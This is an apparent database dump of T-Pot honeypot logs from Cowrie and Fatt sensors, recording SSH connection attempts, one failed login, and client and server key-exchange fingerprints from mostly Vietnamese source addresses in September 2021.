"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34248, "timestamp": "2021-09-20T11:06:55.232480", "@timestamp": "2021-09-20T11:06:55.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21450	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:55.844494+03	2021-09-20 14:15:03.681645+03	{"_id": "PwbjAnwBvYTbRNuEMQRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7482, "timestamp": "2021-09-20T11:06:55.844494", "@timestamp": "2021-09-20T11:06:55.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21823	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:30.747853+03	2021-09-20 14:15:04.149613+03	{"_id": "SwXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a2a5b97bfe65", "@version": "1", "duration": 2.8980469703674316, "timestamp": "2021-09-20T11:06:30.747853Z", "@timestamp": "2021-09-20T11:06:30.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21451	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.22731+03	2021-09-20 14:15:03.682642+03	{"_id": "UwbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:34248 (192.168.176.2:22) [session: 6b231ad97296]", "session": "6b231ad97296", "@version": "1", "protocol": "ssh", "src_port": 34248, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.227310Z", "@timestamp": "2021-09-20T11:06:55.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21452	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.567495+03	2021-09-20 14:15:03.684614+03	{"_id": "VAbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:49806 (192.168.176.2:22) [session: 2af10c41b284]", "session": "2af10c41b284", "@version": "1", "protocol": "ssh", "src_port": 49806, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.567495Z", "@timestamp": "2021-09-20T11:06:55.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21453	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.622106+03	2021-09-20 14:15:03.686642+03	{"_id": "VQbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:49860 (192.168.176.2:22) [session: edb62f6149f3]", "session": "edb62f6149f3", "@version": "1", "protocol": "ssh", "src_port": 49860, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.622106Z", "@timestamp": "2021-09-20T11:06:55.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21454	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.839599+03	2021-09-20 14:15:03.687643+03	{"_id": "VgbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7482 (192.168.176.2:22) [session: 204e4ebdbd75]", "session": "204e4ebdbd75", "@version": "1", "protocol": "ssh", "src_port": 7482, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.839599Z", "@timestamp": "2021-09-20T11:06:55.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21455	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:56.027348+03	2021-09-20 14:15:03.688643+03	{"_id": "VwbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:47146 (192.168.176.2:22) [session: 2d7ce8d0fb65]", "session": "2d7ce8d0fb65", "@version": "1", "protocol": "ssh", "src_port": 47146, "dest_port": 22, "timestamp": "2021-09-20T11:06:56.027348Z", "@timestamp": "2021-09-20T11:06:56.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21456	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:56.102782+03	2021-09-20 14:15:03.689645+03	{"_id": "WAbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:43990 (192.168.176.2:22) [session: dbae079c7f08]", "session": "dbae079c7f08", "@version": "1", "protocol": "ssh", "src_port": 43990, "dest_port": 22, "timestamp": "2021-09-20T11:06:56.102782Z", "@timestamp": "2021-09-20T11:06:56.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21457	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:55.195859+03	2021-09-20 14:15:03.690645+03	{"_id": "ZwbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59056, "timestamp": "2021-09-20T11:06:55.195859", "@timestamp": "2021-09-20T11:06:55.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21458	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:55.577414+03	2021-09-20 14:15:03.692642+03	{"_id": "aAbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49806, "timestamp": "2021-09-20T11:06:55.577414", "@timestamp": "2021-09-20T11:06:55.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21459	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.197388+03	2021-09-20 14:15:03.693643+03	{"_id": "aQbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5359a7b6c7bf", "@version": "1", "timestamp": "2021-09-20T11:06:55.197388Z", "@timestamp": "2021-09-20T11:06:55.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21460	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.230355+03	2021-09-20 14:15:03.694642+03	{"_id": "agbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6b231ad97296", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:55.230355Z", "@timestamp": "2021-09-20T11:06:55.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21466	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:55.434895+03	2021-09-20 14:15:03.702642+03	{"_id": "cAbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [tyler/tyler] failed", "session": "8c86d8ce77a3", "@version": "1", "password": "tyler", "username": "tyler", "timestamp": "2021-09-20T11:06:55.434895Z", "@timestamp": "2021-09-20T11:06:55.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21461	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:55.244353+03	2021-09-20 14:15:03.696642+03	{"_id": "awbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0f30c03f99b2", "@version": "1", "timestamp": "2021-09-20T11:06:55.244353Z", "@timestamp": "2021-09-20T11:06:55.244Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
